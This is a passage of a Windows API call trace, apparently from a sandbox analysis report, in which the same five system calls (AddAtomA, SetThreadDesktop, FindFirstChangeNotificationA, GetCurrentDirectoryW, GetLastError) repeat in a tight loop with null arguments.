0x3 [0110.283] AddAtomA (lpString=0x0) returned 0x0 [0110.283] AddAtomA (lpString=0x0) returned 0x0 [0110.283] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.283] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.283] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.283] GetLastError () returned 0x3 [0110.283] AddAtomA (lpString=0x0) returned 0x0 [0110.284] AddAtomA (lpString=0x0) returned 0x0 [0110.284] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.284] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.284] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.284] GetLastError () returned 0x3 [0110.284] AddAtomA (lpString=0x0) returned 0x0 [0110.284] AddAtomA (lpString=0x0) returned 0x0 [0110.284] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.284] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.284] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.284] GetLastError () returned 0x3 [0110.284] AddAtomA (lpString=0x0) returned 0x0 [0110.284] AddAtomA (lpString=0x0) returned 0x0 [0110.284] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.284] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.284] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.284] GetLastError () returned 0x3 [0110.284] AddAtomA (lpString=0x0) returned 0x0 [0110.284] AddAtomA (lpString=0x0) returned 0x0 [0110.284] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.284] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.284] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.284] GetLastError () returned 0x3 [0110.284] AddAtomA (lpString=0x0) returned 0x0 [0110.284] AddAtomA (lpString=0x0) returned 0x0 [0110.284] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.284] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.284] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.284] GetLastError () returned 0x3 [0110.284] AddAtomA (lpString=0x0) returned 0x0 [0110.284] AddAtomA (lpString=0x0) returned 0x0 [0110.284] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.284] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.284] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.284] GetLastError () returned 0x3 [0110.284] AddAtomA (lpString=0x0) returned 0x0 [0110.284] AddAtomA (lpString=0x0) returned 0x0 [0110.284] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.284] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.284] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.284] GetLastError () returned 0x3 [0110.284] AddAtomA (lpString=0x0) returned 0x0 [0110.284] AddAtomA (lpString=0x0) returned 0x0 [0110.284] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.284] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.284] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.285] GetLastError () returned 0x3 [0110.285] AddAtomA (lpString=0x0) returned 0x0 [0110.285] AddAtomA (lpString=0x0) returned 0x0 [0110.285] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.285] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.285] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.285] GetLastError () returned 0x3 [0110.285] AddAtomA (lpString=0x0) returned 0x0 [0110.285] AddAtomA (lpString=0x0) returned 0x0 [0110.285] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.285] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.285] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.285] GetLastError () returned 0x3 [0110.285] AddAtomA (lpString=0x0) returned 0x0 [0110.285] AddAtomA (lpString=0x0) returned 0x0 [0110.285] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.285] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.285] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.285] GetLastError () returned 0x3 [0110.285] AddAtomA (lpString=0x0) returned 0x0 [0110.285] AddAtomA (lpString=0x0) returned 0x0 [0110.285] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.285] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.285] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.285] GetLastError () returned 0x3 [0110.285] AddAtomA (lpString=0x0) returned 0x0 [0110.285] AddAtomA (lpString=0x0) returned 0x0 [0110.285] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.285] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.285] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.285] GetLastError () returned 0x3 [0110.285] AddAtomA (lpString=0x0) returned 0x0 [0110.285] AddAtomA (lpString=0x0) returned 0x0 [0110.285] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.285] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.286] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.286] GetLastError () returned 0x3 [0110.286] AddAtomA (lpString=0x0) returned 0x0 [0110.286] AddAtomA (lpString=0x0) returned 0x0 [0110.286] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.286] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.286] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.286] GetLastError () returned 0x3 [0110.286] AddAtomA (lpString=0x0) returned 0x0 [0110.286] AddAtomA (lpString=0x0) returned 0x0 [0110.286] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.286] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.286] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.286] GetLastError () returned 0x3 [0110.286] AddAtomA (lpString=0x0) returned 0x0 [0110.286] AddAtomA (lpString=0x0) returned 0x0 [0110.286] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.286] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.286] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.286] GetLastError () returned 0x3 [0110.286] AddAtomA (lpString=0x0) returned 0x0 [0110.286] AddAtomA (lpString=0x0) returned 0x0 [0110.287] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.287] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.287] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.287] GetLastError () returned 0x3 [0110.287] AddAtomA (lpString=0x0) returned 0x0 [0110.287] AddAtomA (lpString=0x0) returned 0x0 [0110.287] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.287] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.287] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.287] GetLastError () returned 0x3 [0110.287] AddAtomA (lpString=0x0) returned 0x0 [0110.287] AddAtomA (lpString=0x0) returned 0x0 [0110.287] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.287] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.287] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.287] GetLastError () returned 0x3 [0110.287] AddAtomA (lpString=0x0) returned 0x0 [0110.287] AddAtomA (lpString=0x0) returned 0x0 [0110.287] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.287] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.287] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.287] GetLastError () returned 0x3 [0110.287] AddAtomA (lpString=0x0) returned 0x0 [0110.287] AddAtomA (lpString=0x0) returned 0x0 [0110.287] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.287] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.287] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.287] GetLastError () returned 0x3 [0110.287] AddAtomA (lpString=0x0) returned 0x0 [0110.287] AddAtomA (lpString=0x0) returned 0x0 [0110.287] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.287] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.287] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.288] GetLastError () returned 0x3 [0110.288] AddAtomA (lpString=0x0) returned 0x0 [0110.288] AddAtomA (lpString=0x0) returned 0x0 [0110.288] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.288] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.288] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.288] GetLastError () returned 0x3 [0110.288] AddAtomA (lpString=0x0) returned 0x0 [0110.288] AddAtomA (lpString=0x0) returned 0x0 [0110.288] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.288] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.288] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.288] GetLastError () returned 0x3 [0110.288] AddAtomA (lpString=0x0) returned 0x0 [0110.288] AddAtomA (lpString=0x0) returned 0x0 [0110.288] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.288] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.288] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.288] GetLastError () returned 0x3 [0110.288] AddAtomA (lpString=0x0) returned 0x0 [0110.288] AddAtomA (lpString=0x0) returned 0x0 [0110.288] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.288] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.288] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.288] GetLastError () returned 0x3 [0110.288] AddAtomA (lpString=0x0) returned 0x0 [0110.288] AddAtomA (lpString=0x0) returned 0x0 [0110.288] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.288] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.288] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.288] GetLastError () returned 0x3 [0110.288] AddAtomA (lpString=0x0) returned 0x0 [0110.288] AddAtomA (lpString=0x0) returned 0x0 [0110.289] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.289] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.289] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.289] GetLastError () returned 0x3 [0110.289] AddAtomA (lpString=0x0) returned 0x0 [0110.289] AddAtomA (lpString=0x0) returned 0x0 [0110.289] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.289] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.289] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.289] GetLastError () returned 0x3 [0110.289] AddAtomA (lpString=0x0) returned 0x0 [0110.289] AddAtomA (lpString=0x0) returned 0x0 [0110.289] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.289] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.289] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.289] GetLastError () returned 0x3 [0110.289] AddAtomA (lpString=0x0) returned 0x0 [0110.289] AddAtomA (lpString=0x0) returned 0x0 [0110.289] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.289] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.289] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.289] GetLastError () returned 0x3 [0110.289] AddAtomA (lpString=0x0) returned 0x0 [0110.289] AddAtomA (lpString=0x0) returned 0x0 [0110.289] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.289] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.289] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.289] GetLastError () returned 0x3 [0110.289] AddAtomA (lpString=0x0) returned 0x0 [0110.289] AddAtomA (lpString=0x0) returned 0x0 [0110.289] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.289] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.289] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.290] GetLastError () returned 0x3 [0110.290] AddAtomA (lpString=0x0) returned 0x0 [0110.290] AddAtomA (lpString=0x0) returned 0x0 [0110.290] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.290] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.290] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.290] GetLastError () returned 0x3 [0110.290] AddAtomA (lpString=0x0) returned 0x0 [0110.290] AddAtomA (lpString=0x0) returned 0x0 [0110.290] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.290] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.290] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.290] GetLastError () returned 0x3 [0110.290] AddAtomA (lpString=0x0) returned 0x0 [0110.290] AddAtomA (lpString=0x0) returned 0x0 [0110.290] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.290] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.290] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.290] GetLastError () returned 0x3 [0110.290] AddAtomA (lpString=0x0) returned 0x0 [0110.290] AddAtomA (lpString=0x0) returned 0x0 [0110.290] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.290] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.290] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.290] GetLastError () returned 0x3 [0110.290] AddAtomA (lpString=0x0) returned 0x0 [0110.290] AddAtomA (lpString=0x0) returned 0x0 [0110.290] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.290] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.290] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.290] GetLastError () returned 0x3 [0110.290] AddAtomA (lpString=0x0) returned 0x0 [0110.290] AddAtomA (lpString=0x0) returned 0x0 [0110.291] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.291] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.291] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.291] GetLastError () returned 0x3 [0110.291] AddAtomA (lpString=0x0) returned 0x0 [0110.291] AddAtomA (lpString=0x0) returned 0x0 [0110.291] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.291] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.291] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.291] GetLastError () returned 0x3 [0110.291] AddAtomA (lpString=0x0) returned 0x0 [0110.291] AddAtomA (lpString=0x0) returned 0x0 [0110.291] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.291] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.291] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.291] GetLastError () returned 0x3 [0110.291] AddAtomA (lpString=0x0) returned 0x0 [0110.291] AddAtomA (lpString=0x0) returned 0x0 [0110.291] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.291] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.291] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.291] GetLastError () returned 0x3 [0110.291] AddAtomA (lpString=0x0) returned 0x0 [0110.291] AddAtomA (lpString=0x0) returned 0x0 [0110.291] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.291] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.291] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.291] GetLastError () returned 0x3 [0110.291] AddAtomA (lpString=0x0) returned 0x0 [0110.291] AddAtomA (lpString=0x0) returned 0x0 [0110.291] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.291] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.292] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.292] GetLastError () returned 0x3 [0110.292] AddAtomA (lpString=0x0) returned 0x0 [0110.292] AddAtomA (lpString=0x0) returned 0x0 [0110.292] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.292] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.292] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.292] GetLastError () returned 0x3 [0110.292] AddAtomA (lpString=0x0) returned 0x0 [0110.292] AddAtomA (lpString=0x0) returned 0x0 [0110.292] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.292] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.292] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.292] GetLastError () returned 0x3 [0110.292] AddAtomA (lpString=0x0) returned 0x0 [0110.292] AddAtomA (lpString=0x0) returned 0x0 [0110.292] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.292] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.292] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.292] GetLastError () returned 0x3 [0110.292] AddAtomA (lpString=0x0) returned 0x0 [0110.292] AddAtomA (lpString=0x0) returned 0x0 [0110.292] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.292] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.292] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.292] GetLastError () returned 0x3 [0110.292] AddAtomA (lpString=0x0) returned 0x0 [0110.292] AddAtomA (lpString=0x0) returned 0x0 [0110.292] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.292] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.292] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.292] GetLastError () returned 0x3 [0110.292] AddAtomA (lpString=0x0) returned 0x0 [0110.292] AddAtomA (lpString=0x0) returned 0x0 [0110.293] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.293] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.293] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.293] GetLastError () returned 0x3 [0110.293] AddAtomA (lpString=0x0) returned 0x0 [0110.293] AddAtomA (lpString=0x0) returned 0x0 [0110.293] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.293] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.293] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.293] GetLastError () returned 0x3 [0110.293] AddAtomA (lpString=0x0) returned 0x0 [0110.293] AddAtomA (lpString=0x0) returned 0x0 [0110.293] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.293] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.293] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.293] GetLastError () returned 0x3 [0110.293] AddAtomA (lpString=0x0) returned 0x0 [0110.293] AddAtomA (lpString=0x0) returned 0x0 [0110.293] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.293] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.293] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.293] GetLastError () returned 0x3 [0110.293] AddAtomA (lpString=0x0) returned 0x0 [0110.293] AddAtomA (lpString=0x0) returned 0x0 [0110.293] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.293] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.293] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.293] GetLastError () returned 0x3 [0110.293] AddAtomA (lpString=0x0) returned 0x0 [0110.293] AddAtomA (lpString=0x0) returned 0x0 [0110.293] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.293] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.293] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.293] GetLastError () returned 0x3 [0110.293] AddAtomA (lpString=0x0) returned 0x0 [0110.293] AddAtomA (lpString=0x0) returned 0x0 [0110.294] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.294] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.294] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.294] GetLastError () returned 0x3 [0110.294] AddAtomA (lpString=0x0) returned 0x0 [0110.294] AddAtomA (lpString=0x0) returned 0x0 [0110.294] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.294] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.294] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.294] GetLastError () returned 0x3 [0110.294] AddAtomA (lpString=0x0) returned 0x0 [0110.294] AddAtomA (lpString=0x0) returned 0x0 [0110.294] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.294] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.294] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.294] GetLastError () returned 0x3 [0110.294] AddAtomA (lpString=0x0) returned 0x0 [0110.294] AddAtomA (lpString=0x0) returned 0x0 [0110.294] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.294] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.294] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.294] GetLastError () returned 0x3 [0110.294] AddAtomA (lpString=0x0) returned 0x0 [0110.294] AddAtomA (lpString=0x0) returned 0x0 [0110.294] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.294] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.294] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.294] GetLastError () returned 0x3 [0110.294] AddAtomA (lpString=0x0) returned 0x0 [0110.294] AddAtomA (lpString=0x0) returned 0x0 [0110.294] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.294] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.294] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.294] GetLastError () returned 0x3 [0110.294] AddAtomA (lpString=0x0) returned 0x0 [0110.294] AddAtomA (lpString=0x0) returned 0x0 [0110.295] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.295] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.295] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.295] GetLastError () returned 0x3 [0110.295] AddAtomA (lpString=0x0) returned 0x0 [0110.295] AddAtomA (lpString=0x0) returned 0x0 [0110.295] SetThreadDesktop (hDesktop=0x0) 